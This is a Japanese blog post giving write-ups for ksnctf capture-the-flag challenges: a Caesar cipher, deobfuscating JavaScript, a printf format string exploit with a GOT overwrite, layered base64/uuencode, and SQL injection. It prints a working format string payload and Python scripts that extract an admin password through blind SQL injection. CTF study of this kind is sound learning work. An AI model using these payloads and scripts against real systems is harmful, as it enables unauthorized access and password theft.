7
10

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

ksnctf writeup

Last updated at Posted at 2018-05-14

※ 最新版の記事は はてなブログ にあります。


https://ksnctf.sweetduet.info/ の問題の write-up です。
ソースコード等は https://github.com/gky360/study_ctf/tree/master/knsctf にあげています。

2. Easy Cipher

定番のcaesar暗号です。

3. Crawling Chaos

問題概要

http://ksnctf.sweetduet.info/q/3/unya.html
が与えられます。フォームが1つある単純なwebページに見えます。フォームに何を入れてSubmitボタンを押しても "No" というアラートが出るばかりです。

ポイント

  • javascriptの文法

解法

unya.html のソースを見ると、 head タグの中に長ーい script タグがあり、何やら(文字通り)うにゃうにゃと書いてあります。

(ᒧᆞωᆞ)=(/ᆞωᆞ/),(ᒧᆞωᆞ).ᒧうー=-!!(/ᆞωᆞ/).にゃー,(〳ᆞωᆞ)=(ᒧᆞωᆞ),(〳ᆞωᆞ).〳にゃー=- -!(ᒧᆞωᆞ).ᒧうー, (後略)

js の変数名や関数名には実は日本語を用いることができるので、これは文法的に正しい js となっています。
ちなみに、このような js は http://sanya.sweetduet.info/unyaencode/ で生成できるようです。

最初の部分を読み解いてみます。日本語の変数名と関数名をアルファベットに置き換えると、

(ᒧᆞωᆞ)=(/ᆞωᆞ/),(ᒧᆞωᆞ).ᒧうー=-!!(/ᆞωᆞ/).にゃー

(a)=(/ᆞωᆞ/),(a).b=-!!(/ᆞωᆞ/).c

と同じとみなせます。さらに読み解くと、以下のようになことがわかります。

  • // で囲まれた部分は正規表現
  • a は正規表現を表す変数で、 RegExp クラスのインスタンス
  • ab というプロパティを追加して値を代入
  • (/ᆞωᆞ/).c は変数 /ᆞωᆞ/ の存在しないプロパティを参照しているので、 undefined となる
  • ! をつけると bool に変換、 - をつけると数値に変換、と考えることができるので -!!undefined-0 となる
  • よって a.b には -0 が代入される

このような感じで、うにゃうにゃ言っているだけに見えるコードでも意味の有りそうな動作をしています。

この調子で読んでいくのは大変なので、script タグの中身を unya.js として保存し node unya.js で実行します。すると、以下のようなエラーになります。 jQuery を import していないので $ が定義されていないと怒られていますが、注目すべきはエラーとなった部分のコードが吐かれている点です。

undefined:2
$(function(){$("form").submit(function(){var t=$('input[type="text"]').val();var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);var f=false;if(p.length==t.length){f=true;for(var i=0;i<p.length;i++)if(t.charCodeAt(i)*(i+1)!=p[i])f=false;if(f)alert("(」・ω・)」うー!(/・ω・)/にゃー!");}if(!f)alert("No");return false;});});
^

ReferenceError: $ is not defined

吐かれたコードを読み解いてみます。

$(function(){
  $('form').submit(function(){
    var t=$('input[type="text"]').val();
    var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);
    var f=false;
    if(p.length==t.length){
      f=true;
      for(var i=0; i<p.length; i++)
        if(t.charCodeAt(i)*(i+1)!=p[i])
          f=false;
      if(f)
        alert('(」・ω・)」うー!(/・ω・)/にゃー!');
    }
    if(!f)
      alert('No');
    return false;
  });
});

これは、フォームに与えられた文字列 t を1文字ずつ数値に変換したものが、 p の各要素と等しくなっているかどうかを調べる、というようなことをしています。以下のスクリプトで、このような tp から逆に求めることができます。

var p = Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);
var t_nums = p.map((n, i) => { return n / (i + 1); });
var t = String.fromCharCode(...t_nums);
console.log(t);

4. Villager A

問題概要

ssh の user と pass が与えられる。sshしてみると、 ~/ に以下のようなファイルが置いてある。

-r--------. 1 q4a  q4a    22 May 22  2012 flag.txt
-rwsr-xr-x. 1 q4a  q4a  5857 May 22  2012 q4
-rw-r--r--. 1 root root  151 Jun  1  2012 readme.txt

ポイント

  • print format attack(セキュリティコンテストチャレンジブック 2.4.2)
  • GOT overwrite(セキュリティコンテストチャレンジブック 2.4.2)

解法

結論から言うと、以下のように実行するとflagを得られます。

echo -e '\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn' | ./q4

printfの書式設定の脆弱性を利用すると、メモリの中の値を出力したり、メモリの値を書き換えたりできます。この脆弱性を利用して、 eip を奪い好きな関数を実行させることができます。詳しくは GOT overwrite ~ ksnctf #4 Villager A ~ に分かりやすい説明があるのでそちらを参照してください。

5. Onion

問題内容

すごく長い文字列が与えられます。

ポイント

  • base64
  • uuencode

解法

与えられた文字列は base64 っぽさが漂っています。そこでとりあえず base64 decode してみます。

echo [問題文] | base64 -D

すると少し短い文字列が出てきます。

この文字列は実は、ある文字列を繰り返し base64 encode したものになっています。このことは問題名の「Onion」にもあらわれています。従って、 base64 decode を繰り返していくと、だんだん文字列が短くなり、ほしい文字列が得られます。16回目で以下の文字列が得られます。

begin 666 <data>
51DQ!1U]&94QG4#-3:4%797I74$AU

end

これは何でしょう。 begin 666 <data> でクグります。すると、これはどうやら uuencode されたデータだとわかります。

以下を shell で実行すると flag.txt にフラグが出力されます。

uudecode <<EOF                                                                                                                                                   (git)-[master]
begin 666 flag.txt
51DQ!1U]&94QG4#-3:4%797I74$AU

end
EOF

6. Login

問題概要

login フォームが与えられます。

ポイント

  • SQLインジェクション

解法

まず、SQLインジェクションしてみます。 ' or 1=q -- を入力すると、以下のものが吐かれる。

Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.

Hint:

<?php
    function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}
    
    $id = isset($_POST['id']) ? $_POST['id'] : '';
    $pass = isset($_POST['pass']) ? $_POST['pass'] : '';
    $login = false;
    $err = '';
    
    if ($id!=='')
    {
        $db = new PDO('sqlite:database.db');
        $r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
        $login = $r && $r->fetch();
        if (!$login)
            $err = 'Login Failed';
    }
?><!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title>
  </head>
  <body>
    <?php if (!$login) { ?>
    <p>
      First, login as "admin".
    </p>
    <div style="font-weight:bold; color:red">
      <?php echo h($err); ?>
    </div>
    <form method="POST">
      <div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div>
      <div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div>
      <div><input type="submit"></div>
    </form>
    <?php } else { ?>
    <p>
      Congratulations!<br>
      It's too easy?<br>
      Don't worry.<br>
      The flag is admin's password.<br>
      <br>
      Hint:<br>
    </p>
    <pre><?php echo h(file_get_contents('index.php')); ?></pre>
    <?php } ?>
  </body>
</html>

最初の数行にある通り、admin のパスワードを見つければいいようです。

SQLインジェクションを利用してパスワードを見つけていきます。まず、パスワードの長さを見つけます。

import requests
url = 'http://ctfq.sweetduet.info:10080/~q6/'
for i in range(1, 100):
    sql = 'admin\' AND (SELECT LENGTH(pass) FROM user WHERE id = \'admin\') = {counter} --'.format(
        counter=i)
    payload = {
        'id': sql,
    }
    response = requests.post(url, data=payload)
    if len(response.text) > 2000:
        print('length of the password is {counter}'.format(counter=i))
        break

これで、パスワードの長さは21とわかります。

次に21文字のパスワードを1文字ずつ見つけていきます。SQL の SUBSTR 句を使います。

import requests

url = 'http://ctfq.sweetduet.info:10080/~q6/'

password = ''
for index in range(1, pass_len + 1):
    for char_number in range(48, 123):
        char = chr(char_number)
        sql = 'admin\' AND SUBSTR((SELECT pass FROM user WHERE id = \'admin\'), {index}, 1) = \'{char}\' --'.format(
            index=index, char=char)
        payload = {
            'id': sql,
            'pass': ''
        }
        response = requests.post(url, data=payload)
        if len(response.text) > 2000:
            print(char, end="")
            password += char
            break

print()
print(password)
7
10
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
7
10

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?